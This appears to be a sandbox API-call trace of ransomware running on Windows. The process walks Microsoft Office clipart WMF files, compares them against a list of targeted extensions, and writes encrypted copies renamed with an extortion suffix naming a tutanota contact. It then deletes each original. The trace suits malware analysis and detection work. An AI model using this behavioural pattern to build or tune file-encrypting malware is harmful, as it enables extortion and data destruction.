	[0268.549] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63
	[0268.549] lstrlenW (lpString=".jpg") returned 4
	[0268.550] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.550] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=14174) returned 1
	[0268.550] CloseHandle (hObject=0x364) returned 1
	[0268.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf")) returned 0x20
	[0268.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0268.550] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.550] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0268.551] GetLastError () returned 0x0
	[0268.551] ReadFile (in: hFile=0x364, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x375e, lpOverlapped=0x0) returned 1
	[0268.552] WriteFile (in: hFile=0x36c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x3760, lpOverlapped=0x0) returned 1
	[0268.553] ReadFile (in: hFile=0x364, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.553] WriteFile (in: hFile=0x36c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.554] SetEndOfFile (hFile=0x36c) returned 1
	[0268.554] CloseHandle (hObject=0x36c) returned 1
	[0268.554] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.554] SetEndOfFile (hFile=0x364) returned 1
	[0268.556] CloseHandle (hObject=0x364) returned 1
	[0268.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.556] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf")) returned 1
	[0268.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63
	[0268.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63
	[0268.557] lstrlenW (lpString=".doc") returned 4
	[0268.557] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.557] lstrlenW (lpString=".docx") returned 5
	[0268.557] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0268.557] lstrlenW (lpString=".pdf") returned 4
	[0268.557] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.557] lstrlenW (lpString=".xls") returned 4
	[0268.557] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.557] lstrlenW (lpString=".xlsx") returned 5
	[0268.557] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0268.557] lstrlenW (lpString=".ppt") returned 4
	[0268.557] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63
	[0268.557] lstrlenW (lpString=".zip") returned 4
	[0268.557] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.557] lstrlenW (lpString=".rar") returned 4
	[0268.557] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.557] lstrlenW (lpString=".bz2") returned 4
	[0268.557] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.557] lstrlenW (lpString=".7z") returned 3
	[0268.557] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63
	[0268.557] lstrlenW (lpString=".dbf") returned 4
	[0268.557] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63
	[0268.557] lstrlenW (lpString=".1cd") returned 4
	[0268.557] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63
	[0268.557] lstrlenW (lpString=".jpg") returned 4
	[0268.557] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.558] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=19898) returned 1
	[0268.558] CloseHandle (hObject=0x364) returned 1
	[0268.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf")) returned 0x20
	[0268.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0268.558] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.558] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0268.559] GetLastError () returned 0x0
	[0268.559] ReadFile (in: hFile=0x364, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x4dba, lpOverlapped=0x0) returned 1
	[0268.561] WriteFile (in: hFile=0x36c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x4dc0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x4dc0, lpOverlapped=0x0) returned 1
	[0268.562] ReadFile (in: hFile=0x364, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.562] WriteFile (in: hFile=0x36c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.562] SetEndOfFile (hFile=0x36c) returned 1
	[0268.562] CloseHandle (hObject=0x36c) returned 1
	[0268.562] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.562] SetEndOfFile (hFile=0x364) returned 1
	[0268.564] CloseHandle (hObject=0x364) returned 1
	[0268.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.565] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf")) returned 1
	[0268.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63
	[0268.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63
	[0268.565] lstrlenW (lpString=".doc") returned 4
	[0268.565] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.565] lstrlenW (lpString=".docx") returned 5
	[0268.565] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0268.565] lstrlenW (lpString=".pdf") returned 4
	[0268.565] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.565] lstrlenW (lpString=".xls") returned 4
	[0268.565] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.565] lstrlenW (lpString=".xlsx") returned 5
	[0268.565] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0268.565] lstrlenW (lpString=".ppt") returned 4
	[0268.565] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63
	[0268.565] lstrlenW (lpString=".zip") returned 4
	[0268.565] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.565] lstrlenW (lpString=".rar") returned 4
	[0268.565] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.565] lstrlenW (lpString=".bz2") returned 4
	[0268.566] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.566] lstrlenW (lpString=".7z") returned 3
	[0268.566] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63
	[0268.566] lstrlenW (lpString=".dbf") returned 4
	[0268.566] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63
	[0268.566] lstrlenW (lpString=".1cd") returned 4
	[0268.566] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63
	[0268.566] lstrlenW (lpString=".jpg") returned 4
	[0268.566] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.566] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=15680) returned 1
	[0268.566] CloseHandle (hObject=0x364) returned 1
	[0268.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf")) returned 0x20
	[0268.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0268.567] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.567] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0268.567] GetLastError () returned 0x0
	[0268.567] ReadFile (in: hFile=0x364, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x3d40, lpOverlapped=0x0) returned 1
	[0268.570] WriteFile (in: hFile=0x36c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x3d50, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x3d50, lpOverlapped=0x0) returned 1
	[0268.571] ReadFile (in: hFile=0x364, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.571] WriteFile (in: hFile=0x36c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.571] SetEndOfFile (hFile=0x36c) returned 1
	[0268.571] CloseHandle (hObject=0x36c) returned 1
	[0268.571] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.677] SetEndOfFile (hFile=0x364) returned 1
	[0268.679] CloseHandle (hObject=0x364) returned 1
	[0268.679] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.981] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf")) returned 1
	[0268.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63
	[0268.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63
	[0268.988] lstrlenW (lpString=".doc") returned 4
	[0268.988] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.988] lstrlenW (lpString=".docx") returned 5
	[0268.988] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0268.988] lstrlenW (lpString=".pdf") returned 4
	[0268.988] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.989] lstrlenW (lpString=".xls") returned 4
	[0268.989] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.989] lstrlenW (lpString=".xlsx") returned 5
	[0268.989] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0268.989] lstrlenW (lpString=".ppt") returned 4
	[0268.989] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63
	[0268.989] lstrlenW (lpString=".zip") returned 4
	[0268.989] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.989] lstrlenW (lpString=".rar") returned 4
	[0268.989] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.989] lstrlenW (lpString=".bz2") returned 4
	[0268.989] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.989] lstrlenW (lpString=".7z") returned 3
	[0268.989] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63
	[0268.989] lstrlenW (lpString=".dbf") returned 4
	[0268.989] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63
	[0268.989] lstrlenW (lpString=".1cd") returned 4
	[0268.989] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63
	[0268.989] lstrlenW (lpString=".jpg") returned 4
	[0268.989] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.990] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=5314) returned 1
	[0268.990] CloseHandle (hObject=0x368) returned 1
	[0268.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf")) returned 0x20
	[0268.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0268.990] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.990] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0268.990] GetLastError () returned 0x0
	[0268.990] ReadFile (in: hFile=0x368, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x14c2, lpOverlapped=0x0) returned 1
	[0269.005] WriteFile (in: hFile=0x390, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x14d0, lpOverlapped=0x0) returned 1
	[0269.006] ReadFile (in: hFile=0x368, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.006] WriteFile (in: hFile=0x390, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0269.006] SetEndOfFile (hFile=0x390) returned 1
	[0269.006] CloseHandle (hObject=0x390) returned 1
	[0269.006] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.006] SetEndOfFile (hFile=0x368) returned 1
	[0269.008] CloseHandle (hObject=0x368) returned 1
	[0269.008] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.008] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf")) returned 1
	[0269.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63
	[0269.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63
	[0269.009] lstrlenW (lpString=".doc") returned 4
	[0269.009] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0269.009] lstrlenW (lpString=".docx") returned 5
	[0269.009] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0269.009] lstrlenW (lpString=".pdf") returned 4
	[0269.009] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0269.009] lstrlenW (lpString=".xls") returned 4
	[0269.009] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0269.009] lstrlenW (lpString=".xlsx") returned 5
	[0269.009] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0269.009] lstrlenW (lpString=".ppt") returned 4
	[0269.009] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0269.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63
	[0269.009] lstrlenW (lpString=".zip") returned 4
	[0269.009] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0269.009] lstrlenW (lpString=".rar") returned 4
	[0269.009] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0269.009] lstrlenW (lpString=".bz2") returned 4
	[0269.009] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0269.009] lstrlenW (lpString=".7z") returned 3
	[0269.009] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0269.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63
	[0269.009] lstrlenW (lpString=".dbf") returned 4
	[0269.009] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0269.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63
	[0269.010] lstrlenW (lpString=".1cd") returned 4
	[0269.010] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0269.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63
	[0269.010] lstrlenW (lpString=".jpg") returned 4
	[0269.010] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0269.015] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.015] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0269.015] GetLastError () returned 0x0
	[0269.015] ReadFile (in: hFile=0x370, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x136a, lpOverlapped=0x0) returned 1
	[0269.020] WriteFile (in: hFile=0x274, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x1370, lpOverlapped=0x0) returned 1
	[0269.021] ReadFile (in: hFile=0x370, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.021] WriteFile (in: hFile=0x274, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0269.021] SetEndOfFile (hFile=0x274) returned 1
	[0269.021] CloseHandle (hObject=0x274) returned 1
	[0269.021] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.022] SetEndOfFile (hFile=0x370) returned 1
	[0269.023] CloseHandle (hObject=0x370) returned 1
